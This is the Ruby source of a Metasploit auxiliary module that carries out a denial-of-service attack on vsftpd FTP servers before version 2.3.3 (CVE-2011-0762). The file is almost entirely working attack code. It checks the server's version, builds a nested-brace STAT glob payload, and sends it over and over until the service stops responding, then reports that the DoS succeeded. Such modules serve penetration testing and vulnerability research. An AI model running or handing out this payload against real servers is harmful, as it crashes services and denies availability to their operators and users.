VSFTPD 2.3.2 Denial of Service

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VSFTPD 2.3.2 Denial of Service',  
'Description' => %q{  
This module triggers a Denial of Service condition in the VSFTPD server in  
versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.  
},  
'Author' => [  
'Nick Cottrell (Rad10Logic) <ncottrellweb[at]gmail.com>', # Module Creator  
'Anna Graterol <annagraterol95[at]gmail.com>', # Vuln researcher  
'Mana Mostaani <mana.mostaani[at]gmail.com>',  
'Maksymilian Arciemowicz' # Original EDB PoC  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'BID', '46617' ],  
[ 'CVE', '2011-0762' ],  
[ 'EDB', '16270' ]  
],  
'DisclosureDate' => '2011-02-03',  
'Notes' => {  
'Stability' => [CRASH_SERVICE_DOWN],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => []  
}  
)  
)  
end  
  
def check  
# attempt to connect  
begin  
if !connect_login  
print_error('Connection refused.')  
return Exploit::CheckCode::Unknown  
end  
rescue Rex::ConnectionRefused  
print_error('Connection refused.')  
return Exploit::CheckCode::Unknown  
rescue Rex::ConnectionTimeout  
print_error('Connection timed out')  
return Exploit::CheckCode::Unknown  
end  
s = ''  
loop do  
# get each line until our desired line shows or end line shows  
s = send_cmd(['STAT'], true)  
break if (s =~ /vsFTPd \d+\.\d+\.\d+/) || (s == "211 End of status\r\n")  
end  
disconnect  
# check if version was found  
if s !~ /vsFTPd \d+\.\d+\.\d+/  
print_error('Did not find ftp version in FTP session.')  
return Exploit::CheckCode::Unknown  
end  
  
# pull out version and check if its in range of vulnerability  
version = s[/\d+\.\d+\.\d+/]  
if Rex::Version.new(version) < Rex::Version.new('2.3.3')  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def run  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears  
  
payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487  
  
vprint_status("Payload being sent: #{payload}")  
print_status('sending payload')  
  
loop do  
print('.')  
connect_login  
10.times do  
send_cmd([payload.to_s], false)  
end  
send_cmd([payload.to_s], true)  
disconnect  
rescue Rex::ConnectionTimeout  
print("\n")  
print_error('Connection timeout! Sending again')  
rescue Errno::ECONNRESET  
print("\n")  
print_error('Connection reset!')  
rescue Rex::ConnectionRefused  
print("\n")  
print_good('Connection refused! Appears DOS attack succeeded.')  
rescue EOFError  
print("\n")  
print_good('Stream was cut off abruptly. Appears DOS attack succeeded.')  
break  
end  
disconnect  
end  
end  
`